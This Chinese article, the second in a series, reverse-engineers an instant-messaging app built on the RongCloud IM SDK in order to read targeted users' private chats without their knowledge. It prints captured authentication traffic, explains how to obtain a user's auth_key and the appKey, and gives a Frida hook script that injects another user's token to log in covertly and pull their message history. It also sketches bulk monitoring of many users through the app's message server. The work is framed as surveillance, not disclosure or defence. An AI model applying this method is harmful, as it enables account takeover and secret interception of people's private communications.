通联APP逆向分析及工作思路(二)
[TOC]
一、概述
在上文的文章结尾,我们留下了两个亟待解决的问题:
1、如何直接利用Cookie
或是其他唯一性特征实现对该通联APP的特定人群的无感知登陆。
2、如何实现批量化、大量用户的通联监测。
而这两个问题,也基本上是我们在对通联APP开展工作时常遇见的一类问题,基于以上的问题,我们提出如下的解决方案:
1、通信协议的加解密
对于一些私有化的小众APP,他们可能会自己写一些通信算法、通信框架,对于这种软件(X蝠聊天、X豆通信等)可以通过逆向分析和动态调试的方法将其通信协议进行解密,从而在线路层对特定用户、群体进行监测;
2、利用IM SDK框架的融合产生的漏洞
IM(Instant Messenger)SDK,是对旧有的即时通信的方法进行封装形成的一种软件框架,现在大多数小众的通联软件基本都会使用这种IM SDK对自己的软件进行二次开发和封装,这样既节省了开发运营成本也节约了搭建私有聊天服务器的时间成本。
而对于使用这种框架的通联APP,软件开发者在将SDK与自己的业务进行打包集成时,便很容易产生漏洞,同时开源的IM SDK自身也会有一些漏洞出现。
而这些漏洞,便是我们开展工作时一个非常好的突破点。
二、精读代码
通过逆向分析该通联APP,我们发现该APP在处理消息、进行登录的过程中,大量调用了一个以io.rong.imlib
开头的类的方法,我们猜测该APP可能使用了某一款开源的IM SDK作为底层通信代码。
通过分析,我们将其调用的SDK的接口代码找了出来。
public native void Connect(String str, ConnectionEntry[] connectionEntryArr, String str2, ConnectAckCallback connectAckCallback, String str3, UserProfile userProfile);
public native void JoinChatRoom(String str, int i, int i2, boolean z, PublishAckListener publishAckListener);
public native Message[] GetHistoryMessagesByObjectNames(String str, int i, String[] strArr, long j, int i2, boolean z);
public native Message[] GetHistoryMessagesEx(String str, int i, String str2, int i2, int i3, boolean z);
public native void GetChatroomHistoryMessage(String str, long j, int i, int i2, HistoryMessageListener historyMessageListener);
public native Conversation[] GetConversationList(int[] iArr, long j, int i);
都是native层的代码。通过对so文件的分析,我们确定了该SDK的大致信息。
三、通过HOOK与抓包的方法了解整个通信流程
3.1、与interface进行通信,获取auth_key
请求包
GET /v1/user-infos HTTP/1.1
system: {"version":"1.5.4","user_id":"1400372","lat":"","lng":"","platform":"2","dt":"samsung","device_id":"0615"}
Authorization: Bearer 【通过hook加密算法自动生成】
Host: interface.xxx.xxx
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0
If-Modified-Since: Thu, 26 Mar 2020 14:04:49 GMT
响应包
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 27 Mar 2020 03:06:59 GMT
Content-Type: application/json; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.2.6
Access-Control-Expose-Headers:
Set-Cookie: _csrf=【csrftoken】; path=/; HttpOnly
Content-Length: 1051
{"code":200,"message":"success","data":{"user_id":"1400372","username":"","nickname":"","avatar":"","cellphone":"","photos":[{"id":"","imgurl":""}],"coin":"0","fans_count":"18","follow_count":"0","thread_count":"0","view_home_page_count":"","address":"","dating_address":"","vip":"","vip_item_txt":"","share_item_txt":"","vip_expire":"","app_vip":"0","app_vip_expire":"","is_auth":"1","sex":"","signature":"","birthday":"","like_type":"","height":"","weight":"","mark":"","wechat":"","weima":"","hobby":"","auth_key":"【authkey】","province":""}}
JSON格式如下
{
"code": 200,
"message": "success",
"data": {
"user_id": "1400372",
"username": "",
"nickname": "",
"avatar": "",
"cellphone": "",
"photos": [{ "id": "", "imgurl": "" }],
"coin": "0",
"fans_count": "18",
"follow_count": "0",
"thread_count": "0",
"view_home_page_count": "",
"address": "",
"dating_address": "",
"vip": "",
"vip_item_txt": "",
"share_item_txt": "",
"vip_expire": "",
"app_vip": "0",
"app_vip_expire": "",
"is_auth": "1",
"sex": "",
"signature": "",
"birthday": "",
"like_type": "",
"height": "",
"weight": "",
"mark": "",
"wechat": "",
"weima": "",
"hobby": "",
"auth_key": "【authkey】",
"province": ""
}
}
而auth_key
将作为token
发送给nav2-cn.xxx.xxx:80/navi.xml
作为聊天信息认证
3.2、与nav2-cn通信,进行token的认证授权
请求包
POST /navi.xml HTTP/1.1
Connection: close
User-Agent: RongCloud
Host: nav2-cn.xxx.xxx
Content-Length: 121
Content-type: application/x-www-form-urlencoded
appId: 4z3hlwrv4oh1t
Accept-Encoding: gzip, deflate
token=【token】&v=2.9.17&p=Android
响应包
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 27 Mar 2020 05:06:03 GMT
Content-Type: text/xml; charset=UTF-8
Content-Length: 933
Connection: close
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
P: NAV_NODE_28
Vary: Accept-Encoding
Cache-Control: no-cache
Age: 0
Via: http/1.1 ORI-CLOUD-SQ-MIX-28 (jcs [cMsSf ]), http/1.1 ZJ-CT-1-MIX-15 (jcs [cMsSf ])
X-Trace:
<navi><code>200</code><userId>1397659</userId><server>IP:443</server><voipServer></voipServer><uploadServer>upload.qiniup.com</uploadServer><qnAddr>upload.qiniup.com</qnAddr><historyMsg>true</historyMsg><chatroomMsg>false</chatroomMsg><bs>IP:8062,t-tcpproxy-cn.xxx.xxx:443,t-tcpproxy-cn.xxx.xxx:8100</bs><monitor>1610611711</monitor><isFormatted>0</isFormatted><joinMChrm>false</joinMChrm><openMp>1</openMp><openUS>0</openUS><compDays>6</compDays><connPolicy>1</connPolicy><grpMsgLimit>0</grpMsgLimit><extkitSwitch>1</extkitSwitch><gifSize>2048</gifSize><openHttpDNS>0</openHttpDNS><kvStorage>0</kvStorage><videoTimes>120</videoTimes><offlinelogserver>http://feedback.cn.xxx.xxx</offlinelogserver><onlinelogserver></onlinelogserver><logSwitch>1</logSwitch><logPolicy>{"url":"logcollection.xxx.xxx","level":1,"itv":6,"times":5}</logPolicy></navi>
四、查询开发文档。
在确定了使用的是某一款IM SDK后,就暂时不要对so文件进行漏洞挖掘与分析了,除非我们开始挖掘该SDK的漏洞了,否则最好先看一看开发文档,了解一下该SDK是如何进行集成和封装的。
该APP调用了SDK的 io.rong.imkit
和io.rong.imlib
接口,查看SDK接口文档。
4.1、IMLib
IMLib中包含了聊天列表、历史消息等接口
初始化API
该方法为
RongIMClient.init(context,appKey);
关键的appkey
在mainfest
文件中
连接服务器API
该方法为
RongIMClient.connect(token, new RongIMClient.ConnectCallbackEx() {})
各参数说明如下
用户token就是在3.1
中获取到的auth_key
4.2、IMKit
IMKit包含了用户信息,会话列表渲染等接口
初始化API
也可以采用IMLib类似的初始化,在init中也将appKey初始化掉
连接服务器API
参数说明
至此,该APP调用IM接口实现聊天功能的token
和appKey
都已经拿到。
5、无感知登录
通过hook native层代码直接调用底层SDK接口实现无感知登录
代码:
function hook_token() {
Java.perform(function () {
var RongIM=Java.use("io.rong.imkit.RongIM")
console.log(RongIM)
RongIM.connect.implementation=function(str,connectCallback){
var strChange=" [auth_key] "
this.connect(strChange,connectCallback)
console.log("RONGIM TOKEN -->",str,"<--")
}
var RongIMClientWrapper=Java.use("io.rong.imkit.RongIMClientWrapper")
console.log(RongIMClientWrapper)
RongIMClientWrapper.connect.implementation=function(str,connectCallback){
var strChange=" [auth_key] "
this.connect(strChange,connectCallback)
console.log("RongIMClientWrapper TOKEN -->",str,"<--")
}
var RongIMClient=Java.use("io.rong.imlib.RongIMClient")
console.log(RongIMClient)
RongIMClient.connectServer.implementation=function(str,r13,r14){
var strChange=" [auth_key] "
this.connectServer(strChange,r13,r14)
console.log("RongIMClient TOKEN -->",str,"<--")
}
var AppContext=Java.use(".common.AppContext")
console.log(AppContext)
AppContext.connect.overload("java.lang.String").implementation=function(str){
var strChange=" [auth_key] "
this.connect(strChange)
console.log("APPCONTEXT TOKEN -->",str,"<--")
}
var HomeFooterActivity=Java.use(".activity.HomeFooterAcitvity.HomeFooterActivity")
console.log(HomeFooterActivity)
HomeFooterActivity.connect.overload("java.lang.String","int").implementation=function(str,i){
var strChange=" [auth_key] "
this.connect(strChange,i)
console.log("HomeFooterActivity TOKEN -->",str,"<--")
}
});
}
function hook_url(){
Java.perform(function(){
var RongIM=Java.use("io.rong.imkit.RongIM")
console.log(RongIM)
RongIM.setServerInfo.implementation=function(str,str2){
this.setServerInfo(str,str2)
console.log("str: ",str,"str2: ",str2)
}
})
}
function main() {
hook_token()
hook_url()
}
setImmediate(main);
无感知获取用户历史消息显示成功
六、批量化监测
由于该APP使用的是公开的IM SDK框架,并自己搭建了中转的消息存储服务器,因此在对其互联网资产搜集的时候,发现了其消息存储服务器,通过阅读IM SDK的开发文档,使用JS的web层接口,在开展工作时,可以直接实现对大量目标、用户的直接监测。
七、小结
在对通联类APP开展工作时,我们需要注重主要矛盾,即通联用户的通联内容,这是在舆情监测中的一个重要的点,而对于目标用户的终端权限(这是另一个工作方向了)则是次要矛盾,因此我们不需要刻意耗费大量时间对通联APP本身的漏洞进行挖掘,而需要从宏观上总体上把握目标。